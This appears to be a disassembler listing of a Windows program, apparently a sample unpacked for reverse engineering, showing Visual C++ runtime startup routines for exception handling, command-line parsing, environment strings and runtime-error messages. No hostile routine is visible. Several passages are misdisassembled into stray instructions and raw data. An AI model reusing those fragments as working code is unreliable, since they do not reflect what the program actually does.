jmp short loc_4230FD
; ---------------------------------------------------------------------------
loc_4230B3: ; CODE XREF: sub_422FF2+B3j
cmp eax, 0C0000093h
jnz short loc_4230C6
mov ds:dword_43F85C, 85h
jmp short loc_4230FD
; ---------------------------------------------------------------------------
loc_4230C6: ; CODE XREF: sub_422FF2+C6j
cmp eax, 0C000008Dh
jnz short loc_4230D9
mov ds:dword_43F85C, 82h
jmp short loc_4230FD
; ---------------------------------------------------------------------------
loc_4230D9: ; CODE XREF: sub_422FF2+D9j
cmp eax, 0C000008Fh
jnz short loc_4230EC
mov ds:dword_43F85C, 86h
jmp short loc_4230FD
; ---------------------------------------------------------------------------
loc_4230EC: ; CODE XREF: sub_422FF2+ECj
cmp eax, 0C0000092h
jnz short loc_4230FD
mov ds:dword_43F85C, 8Ah
loc_4230FD: ; CODE XREF: sub_422FF2+99j
; sub_422FF2+ACj ...
push ds:dword_43F85C
push 8
call ebx
pop ecx
mov ds:dword_43F85C, esi
pop ecx
pop esi
jmp short loc_42311A
; ---------------------------------------------------------------------------
loc_423112: ; CODE XREF: sub_422FF2+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_42311A: ; CODE XREF: sub_422FF2+11Ej
mov eax, [ebp+arg_0]
mov ds:dword_4DDF94, eax
loc_423122: ; CODE XREF: sub_422FF2+34j
or eax, 0FFFFFFFFh
jmp short loc_423130
; ---------------------------------------------------------------------------
loc_423127: ; CODE XREF: sub_422FF2+Fj
; sub_422FF2+1Aj
push [ebp+arg_4]
call ds:dword_42804C ; UnhandledExceptionFilter
loc_423130: ; CODE XREF: sub_422FF2+2Cj
; sub_422FF2+133j
pop ebx
pop ebp
retn
sub_422FF2 endp
; =============== S U B R O U T I N E =======================================
sub_423133 proc near ; CODE XREF: sub_422FF2+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_43F858
cmp ds:dword_43F7D8, edx
push esi
mov eax, offset dword_43F7D8
jz short loc_423160
lea esi, [ecx+ecx*2]
lea esi, ds:43F7D8h[esi*4]
loc_423155: ; CODE XREF: sub_423133+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423160
cmp [eax], edx
jnz short loc_423155
loc_423160: ; CODE XREF: sub_423133+16j
; sub_423133+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43F7D8h[ecx*4]
cmp eax, ecx
jnb short loc_423173
cmp [eax], edx
jz short locret_423175
loc_423173: ; CODE XREF: sub_423133+3Aj
xor eax, eax
locret_423175: ; CODE XREF: sub_423133+3Ej
retn
sub_423133 endp
; ---------------------------------------------------------------------------
cmp ds:dword_4DF554, 0
jnz short loc_423184
call sub_42048D
loc_423184: ; CODE XREF: seg000:0042317Dj
push esi
mov esi, ds:dword_4DF54C
mov al, [esi]
cmp al, 22h
jnz short loc_4231B6
loc_423191: ; CODE XREF: seg000:004231A9j
; seg000:004231ACj
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_4231AE
test al, al
jz short loc_4231AE
movzx eax, al
push eax
call sub_42508F
test eax, eax
pop ecx
jz short loc_423191
inc esi
jmp short loc_423191
; ---------------------------------------------------------------------------
loc_4231AE: ; CODE XREF: seg000:00423197j
; seg000:0042319Bj
cmp byte ptr [esi], 22h
jnz short loc_4231C0
loc_4231B3: ; CODE XREF: seg000:004231C8j
inc esi
jmp short loc_4231C0
; ---------------------------------------------------------------------------
loc_4231B6: ; CODE XREF: seg000:0042318Fj
cmp al, 20h
jbe short loc_4231C0
loc_4231BA: ; CODE XREF: seg000:004231BEj
inc esi
cmp byte ptr [esi], 20h
ja short loc_4231BA
loc_4231C0: ; CODE XREF: seg000:004231B1j
; seg000:004231B4j ...
mov al, [esi]
test al, al
jz short loc_4231CA
cmp al, 20h
jbe short loc_4231B3
loc_4231CA: ; CODE XREF: seg000:004231C4j
mov eax, esi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_4231CE proc near ; CODE XREF: seg000:0041DBE1p
push ebx
xor ebx, ebx
cmp ds:dword_4DF554, ebx
push esi
push edi
jnz short loc_4231E0
call sub_42048D
loc_4231E0: ; CODE XREF: sub_4231CE+Bj
mov esi, ds:dword_4DDF28
xor edi, edi
loc_4231E8: ; CODE XREF: sub_4231CE+30j
mov al, [esi]
cmp al, bl
jz short loc_423200
cmp al, 3Dh
jz short loc_4231F3
inc edi
loc_4231F3: ; CODE XREF: sub_4231CE+22j
push esi
call sub_41B1D0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4231E8
; ---------------------------------------------------------------------------
loc_423200: ; CODE XREF: sub_4231CE+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41B6C5
mov esi, eax
pop ecx
cmp esi, ebx
mov ds:dword_4DDEDC, esi
jnz short loc_423222
push 9
call sub_41DC49
pop ecx
loc_423222: ; CODE XREF: sub_4231CE+4Aj
mov edi, ds:dword_4DDF28
cmp [edi], bl
jz short loc_423265
push ebp
loc_42322D: ; CODE XREF: sub_4231CE+94j
push edi
call sub_41B1D0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_42325E
push ebp
call sub_41B6C5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423251
push 9
call sub_41DC49
pop ecx
loc_423251: ; CODE XREF: sub_4231CE+79j
push edi
push dword ptr [esi]
call sub_41C0A0
pop ecx
add esi, 4
pop ecx
loc_42325E: ; CODE XREF: sub_4231CE+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_42322D
pop ebp
loc_423265: ; CODE XREF: sub_4231CE+5Cj
push ds:dword_4DDF28
call sub_41B2A1
pop ecx
mov ds:dword_4DDF28, ebx
mov [esi], ebx
pop edi
pop esi
mov ds:dword_4DF550, 1
pop ebx
retn
sub_4231CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423287 proc near ; CODE XREF: seg000:0041DBDCp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp ds:dword_4DF554, ebx
push esi
push edi
jnz short loc_42329E
call sub_42048D
loc_42329E: ; CODE XREF: sub_423287+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call near ptr 0C70004h
mov eax, ss:dword_4DF54C
mov ds:off_4DDEEC, esi
mov edi, esi
cmp [eax], bl
jz short loc_4232C3
mov edi, eax
loc_4232C3: ; CODE XREF: sub_423287+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_423320
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41B6C5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4232F3
push 8
call sub_41DC49
pop ecx
loc_4232F3: ; CODE XREF: sub_423287+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423320
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov ds:dword_4DDED4, esi
pop edi
pop esi
mov ds:dword_4DDED0, eax
pop ebx
leave
retn
sub_423287 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423320 proc near ; CODE XREF: sub_423287+47p
; sub_423287+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42334A
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42334A: ; CODE XREF: sub_423320+20j
cmp byte ptr [eax], 22h
jnz short loc_423393
loc_42334F: ; CODE XREF: sub_423320+58j
; sub_423320+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423381
test dl, dl
jz short loc_423381
movzx edx, dl
test ds:byte_4DF421[edx], 4
jz short loc_423374
inc dword ptr [ecx]
test esi, esi
jz short loc_423374
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423374: ; CODE XREF: sub_423320+46j
; sub_423320+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42334F
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42334F
; ---------------------------------------------------------------------------
loc_423381: ; CODE XREF: sub_423320+36j
; sub_423320+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_42338B
and byte ptr [esi], 0
inc esi
loc_42338B: ; CODE XREF: sub_423320+65j
cmp byte ptr [eax], 22h
jnz short loc_4233D6
inc eax
jmp short loc_4233D6
; ---------------------------------------------------------------------------
loc_423393: ; CODE XREF: sub_423320+2Dj
; sub_423320+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42339E
mov dl, [eax]
mov [esi], dl
inc esi
loc_42339E: ; CODE XREF: sub_423320+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test ds:byte_4DF421[ebx], 4
jz short loc_4233B9
inc dword ptr [ecx]
test esi, esi
jz short loc_4233B8
mov bl, [eax]
mov [esi], bl
inc esi
loc_4233B8: ; CODE XREF: sub_423320+91j
inc eax
loc_4233B9: ; CODE XREF: sub_423320+8Bj
cmp dl, 20h
jz short loc_4233C7
test dl, dl
jz short loc_4233CB
cmp dl, 9
jnz short loc_423393
loc_4233C7: ; CODE XREF: sub_423320+9Cj
test dl, dl
jnz short loc_4233CE
loc_4233CB: ; CODE XREF: sub_423320+A0j
dec eax
jmp short loc_4233D6
; ---------------------------------------------------------------------------
loc_4233CE: ; CODE XREF: sub_423320+A9j
test esi, esi
jz short loc_4233D6
and byte ptr [esi-1], 0
loc_4233D6: ; CODE XREF: sub_423320+6Ej
; sub_423320+71j ...
and [ebp+arg_10], 0
loc_4233DA: ; CODE XREF: sub_423320+19Ej
cmp byte ptr [eax], 0
jz loc_4234C3
loc_4233E3: ; CODE XREF: sub_423320+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4233EF
cmp dl, 9
jnz short loc_4233F2
loc_4233EF: ; CODE XREF: sub_423320+C8j
inc eax
jmp short loc_4233E3
; ---------------------------------------------------------------------------
loc_4233F2: ; CODE XREF: sub_423320+CDj
cmp byte ptr [eax], 0
jz loc_4234C3
test edi, edi
jz short loc_423407
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423407: ; CODE XREF: sub_423320+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_42340C: ; CODE XREF: sub_423320+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423415: ; CODE XREF: sub_423320+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42341E
inc eax
inc ebx
jmp short loc_423415
; ---------------------------------------------------------------------------
loc_42341E: ; CODE XREF: sub_423320+F8j
cmp byte ptr [eax], 22h
jnz short loc_42344F
test bl, 1
jnz short loc_42344D
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_42343C
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_42343C
mov eax, edx
jmp short loc_42343F
; ---------------------------------------------------------------------------
loc_42343C: ; CODE XREF: sub_423320+10Dj
; sub_423320+116j
mov [ebp+arg_0], edi
loc_42343F: ; CODE XREF: sub_423320+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_42344D: ; CODE XREF: sub_423320+106j
shr ebx, 1
loc_42344F: ; CODE XREF: sub_423320+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423464
inc ebx
loc_423457: ; CODE XREF: sub_423320+142j
test esi, esi
jz short loc_42345F
mov byte ptr [esi], 5Ch
inc esi
loc_42345F: ; CODE XREF: sub_423320+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423457
loc_423464: ; CODE XREF: sub_423320+134j
mov dl, [eax]
test dl, dl
jz short loc_4234B4
cmp [ebp+arg_10], 0
jnz short loc_42347A
cmp dl, 20h
jz short loc_4234B4
cmp dl, 9
jz short loc_4234B4
loc_42347A: ; CODE XREF: sub_423320+14Ej
cmp [ebp+arg_0], 0
jz short loc_4234AE
test esi, esi
jz short loc_42349D
movzx ebx, dl
test ds:byte_4DF421[ebx], 4
jz short loc_423496
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423496: ; CODE XREF: sub_423320+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4234AC
; ---------------------------------------------------------------------------
loc_42349D: ; CODE XREF: sub_423320+162j
movzx edx, dl
test ds:byte_4DF421[edx], 4
jz short loc_4234AC
inc eax
inc dword ptr [ecx]
loc_4234AC: ; CODE XREF: sub_423320+17Bj
; sub_423320+187j
inc dword ptr [ecx]
loc_4234AE: ; CODE XREF: sub_423320+15Ej
inc eax
jmp loc_42340C
; ---------------------------------------------------------------------------
loc_4234B4: ; CODE XREF: sub_423320+148j
; sub_423320+153j ...
test esi, esi
jz short loc_4234BC
and byte ptr [esi], 0
inc esi
loc_4234BC: ; CODE XREF: sub_423320+196j
inc dword ptr [ecx]
jmp loc_4233DA
; ---------------------------------------------------------------------------
loc_4234C3: ; CODE XREF: sub_423320+BDj
; sub_423320+D5j
test edi, edi
jz short loc_4234CA
and dword ptr [edi], 0
loc_4234CA: ; CODE XREF: sub_423320+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423320 endp
; =============== S U B R O U T I N E =======================================
sub_4234D4 proc near ; CODE XREF: seg000:0041DBD2p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, ds:dword_4DE09C
push ebx
push ebp
mov ebp, ds:dword_42803C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423522
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_423503
mov ds:dword_4DE09C, 1
jmp short loc_42352B
; ---------------------------------------------------------------------------
loc_423503: ; CODE XREF: sub_4234D4+21j
call ds:dword_428040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_4235FD
mov ds:dword_4DE09C, 2
jmp loc_4235B1
; ---------------------------------------------------------------------------
loc_423522: ; CODE XREF: sub_4234D4+19j
cmp eax, 1
jnz loc_4235AC
loc_42352B: ; CODE XREF: sub_4234D4+2Dj
cmp esi, ebx
jnz short loc_42353B
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_4235FD
loc_42353B: ; CODE XREF: sub_4234D4+59j
cmp [esi], bx
mov eax, esi
jz short loc_423550
loc_423542: ; CODE XREF: sub_4234D4+73j
; sub_4234D4+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_423542
inc eax
inc eax
cmp [eax], bx
jnz short loc_423542
loc_423550: ; CODE XREF: sub_4234D4+6Cj
sub eax, esi
mov edi, ds:dword_428180
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_4235A1
push ebp
call sub_41B6C5
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_4235A1
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_42359D
push [esp+18h+var_8]
call sub_41B2A1
pop ecx
mov [esp+18h+var_8], ebx
loc_42359D: ; CODE XREF: sub_4234D4+B9j
mov ebx, [esp+18h+var_8]
loc_4235A1: ; CODE XREF: sub_4234D4+99j
; sub_4234D4+A8j
push esi
call ds:dword_428044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_4235FF
; ---------------------------------------------------------------------------
loc_4235AC: ; CODE XREF: sub_4234D4+51j
cmp eax, 2
jnz short loc_4235FD
loc_4235B1: ; CODE XREF: sub_4234D4+49j
cmp edi, ebx
jnz short loc_4235C1
call ds:dword_428040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_4235FD
loc_4235C1: ; CODE XREF: sub_4234D4+DFj
cmp [edi], bl
mov eax, edi
jz short loc_4235D1
loc_4235C7: ; CODE XREF: sub_4234D4+F6j
; sub_4234D4+FBj
inc eax
cmp [eax], bl
jnz short loc_4235C7
inc eax
cmp [eax], bl
jnz short loc_4235C7
loc_4235D1: ; CODE XREF: sub_4234D4+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B6C5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4235E7
xor esi, esi
jmp short loc_4235F2
; ---------------------------------------------------------------------------
loc_4235E7: ; CODE XREF: sub_4234D4+10Dj
push ebp
push edi
push esi
call sub_41C500
add esp, 0Ch
loc_4235F2: ; CODE XREF: sub_4234D4+111j
push edi
call near ptr 0B10000h
scasd
mov eax, esi
jmp short loc_4235FF
; ---------------------------------------------------------------------------
loc_4235FD: ; CODE XREF: sub_4234D4+39j
; sub_4234D4+61j ...
xor eax, eax
loc_4235FF: ; CODE XREF: sub_4234D4+D6j
; sub_4234D4+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4234D4 endp
; ---------------------------------------------------------------------------
loc_423606: ; CODE XREF: seg000:0041DBC2p
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B6C5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423626
push 1Bh
call sub_41DC49
pop ecx
loc_423626: ; CODE XREF: seg000:0042361Cj
mov ds:dword_4DE1E0, esi
mov ds:dword_4DE2E0, 20h
lea eax, [esi+100h]
loc_42363C: ; CODE XREF: seg000:00423658j
cmp esi, eax
jnb short loc_42365A
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, ds:dword_4DE1E0
add esi, 8
add eax, 100h
jmp short loc_42363C
; ---------------------------------------------------------------------------
loc_42365A: ; CODE XREF: seg000:0042363Ej
lea eax, [esp+10h]
push eax
call near ptr 0B70004h
add al, 66h
cmp dword ptr [esp+42h], 0
jz loc_423736
mov eax, [esp+44h]
test eax, eax
jz loc_423736
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423690
mov esi, eax
loc_423690: ; CODE XREF: seg000:0042368Cj
cmp ds:dword_4DE2E0, esi
jge short loc_4236EA
mov edi, offset dword_4DE1E4
loc_42369D: ; CODE XREF: seg000:004236E0j
push 100h
call sub_41B6C5
test eax, eax
pop ecx
jz short loc_4236E4
add ds:dword_4DE2E0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4236BB: ; CODE XREF: seg000:004236D5j
cmp eax, ecx
jnb short loc_4236D7
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4236BB
; ---------------------------------------------------------------------------
loc_4236D7: ; CODE XREF: seg000:004236BDj
add edi, 4
cmp ds:dword_4DE2E0, esi
jl short loc_42369D
jmp short loc_4236EA
; ---------------------------------------------------------------------------
loc_4236E4: ; CODE XREF: seg000:004236AAj
mov esi, ds:dword_4DE2E0
loc_4236EA: ; CODE XREF: seg000:00423696j
; seg000:004236E2j
xor edi, edi
test esi, esi
jle short loc_423736
loc_4236F0: ; CODE XREF: seg000:00423734j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_42372D
mov cl, [ebp+0]
test cl, 1
jz short loc_42372D
test cl, 8
jnz short loc_42370F
push eax
call near ptr 0B10000h
pop edi
test eax, eax
jz short loc_42372D
loc_42370F: ; CODE XREF: seg000:00423702j
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_4DE1E0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_42372D: ; CODE XREF: seg000:004236F5j
; seg000:004236FDj ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4236F0
loc_423736: ; CODE XREF: seg000:0042366Bj
; seg000:00423677j ...
xor ebx, ebx
loc_423738: ; CODE XREF: seg000:0042379Bj
mov eax, ds:dword_4DE1E0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423793
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423753
push 0FFFFFFF6h
pop eax
jmp short loc_42375D
; ---------------------------------------------------------------------------
loc_423753: ; CODE XREF: seg000:0042374Cj
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_42375D: ; CODE XREF: seg000:00423751j
push eax
call near ptr 0B90004h
pop es
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423782
push edi
call near ptr 0BB0004h
xor al, 85h
sal byte ptr [esp+ecx+25h], 0FFh
; ---------------------------------------------------------------------------
dd 89000000h, 2F8833Eh
; ---------------------------------------------------------------------------
jnz short loc_423788
loc_423782: ; CODE XREF: seg000:00423769j
or byte ptr [esi+4], 40h
jmp short loc_423797
; ---------------------------------------------------------------------------
loc_423788: ; CODE XREF: seg000:00423780j
cmp eax, 3
jnz short loc_423797
or byte ptr [esi+4], 8
jmp short loc_423797
; ---------------------------------------------------------------------------
loc_423793: ; CODE XREF: seg000:00423744j
or byte ptr [esi+4], 80h
loc_423797: ; CODE XREF: seg000:00423786j
; seg000:0042378Bj ...
inc ebx
cmp ebx, 3
jl short loc_423738
push ds:dword_4DE2E0
call near ptr 0BD0004h
hlt
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4237BC proc near ; DATA XREF: seg000:0041DB5Do
; sub_42227D+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_42385C
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4237EF: ; CODE XREF: sub_4237BC+90j
cmp esi, 0FFFFFFFFh
jz short loc_423855
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423843
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423843
js short loc_42384E
mov edi, [ebx+8]
push ebx
call sub_41CD64
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CDA6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CE3A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423843: ; CODE XREF: sub_4237BC+40j
; sub_4237BC+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4237EF
; ---------------------------------------------------------------------------
loc_42384E: ; CODE XREF: sub_4237BC+54j
mov eax, 0
jmp short loc_423871
; ---------------------------------------------------------------------------
loc_423855: ; CODE XREF: sub_4237BC+36j
mov eax, 1
jmp short loc_423871
; ---------------------------------------------------------------------------
loc_42385C: ; CODE XREF: sub_4237BC+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CDA6
add esp, 8
pop ebp
mov eax, 1
loc_423871: ; CODE XREF: sub_4237BC+97j
; sub_4237BC+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4237BC endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CDA6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423894 proc near ; CODE XREF: sub_41DC49+9p
; sub_41DC6E+9p
mov eax, ds:dword_4DDF30
cmp eax, 1
jz short loc_4238AB
test eax, eax
jnz short locret_4238CC
cmp ds:dword_43CF54, 1
jnz short locret_4238CC
loc_4238AB: ; CODE XREF: sub_423894+8j
push 0FCh
call sub_4238CD
mov eax, ds:dword_4DE0A0
pop ecx
test eax, eax
jz short loc_4238C1
call eax
loc_4238C1: ; CODE XREF: sub_423894+29j
push 0FFh
call sub_4238CD
pop ecx
locret_4238CC: ; CODE XREF: sub_423894+Cj
; sub_423894+15j
retn
sub_423894 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4238CD proc near ; CODE XREF: sub_41DC49+12p
; sub_41DC6E+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43F868
loc_4238E0: ; CODE XREF: sub_4238CD+20j
cmp edx, [eax]
jz short loc_4238EF
add eax, 8
inc ecx
cmp eax, offset dword_43F8F8
jl short loc_4238E0
loc_4238EF: ; CODE XREF: sub_4238CD+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, ds:dword_43F868[esi]
jnz loc_423A1D
mov eax, ds:dword_4DDF30
cmp eax, 1
jz loc_4239F7
test eax, eax
jnz short loc_423920
cmp ds:dword_43CF54, 1
jz loc_4239F7
loc_423920: ; CODE XREF: sub_4238CD+44j
cmp edx, 0FCh
jz loc_423A1D
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 0B10000h
push 1375C085h
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C0A0
pop ecx
pop ecx
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B1D0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_42399A
lea eax, [ebp+var_1A4]
push eax
call sub_41B1D0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B7E0
add esp, 10h
loc_42399A: ; CODE XREF: sub_4238CD+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C0A0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C0B0
lea eax, [ebp+var_A0]
push offset asc_428C10 ; "\n\n"
push eax
call sub_41C0B0
push ds:off_43F86C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C0B0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_4250D1
add esp, 2Ch
pop edi
jmp short loc_423A1D
; ---------------------------------------------------------------------------
loc_4239F7: ; CODE XREF: sub_4238CD+3Cj
; sub_4238CD+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43F86C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B1D0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 0B10000h
inc ebp
push eax
call near ptr 0B10000h
inc ebx
loc_423A1D: ; CODE XREF: sub_4238CD+2Ej
; sub_4238CD+59j ...
pop esi
leave
retn
sub_4238CD endp
; =============== S U B R O U T I N E =======================================
sub_423A20 proc near ; CODE XREF: sub_423C7E:loc_423DF6p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DE1E0
loc_423A2F: ; CODE XREF: sub_423A20+48j
mov eax, [ecx]
test eax, eax
jz short loc_423A6C
lea edx, [eax+100h]
loc_423A3B: ; CODE XREF: sub_423A20+28j
cmp eax, edx
jnb short loc_423A5B
test byte ptr [eax+4], 1
jz short loc_423A4A
add eax, 8
jmp short loc_423A3B
; ---------------------------------------------------------------------------
loc_423A4A: ; CODE XREF: sub_423A20+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423AAF
loc_423A5B: ; CODE XREF: sub_423A20+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DE2E0
jl short loc_423A2F
jmp short loc_423AAF
; ---------------------------------------------------------------------------
loc_423A6C: ; CODE XREF: sub_423A20+13j
mov esi, 100h
push esi
call sub_41B6C5
test eax, eax
pop ecx
jz short loc_423AAF
add ds:dword_4DE2E0, 20h
lea ecx, ds:4DE1E0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423A92: ; CODE XREF: sub_423A20+88j
cmp eax, edx
jnb short loc_423AAA
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423A92
; ---------------------------------------------------------------------------
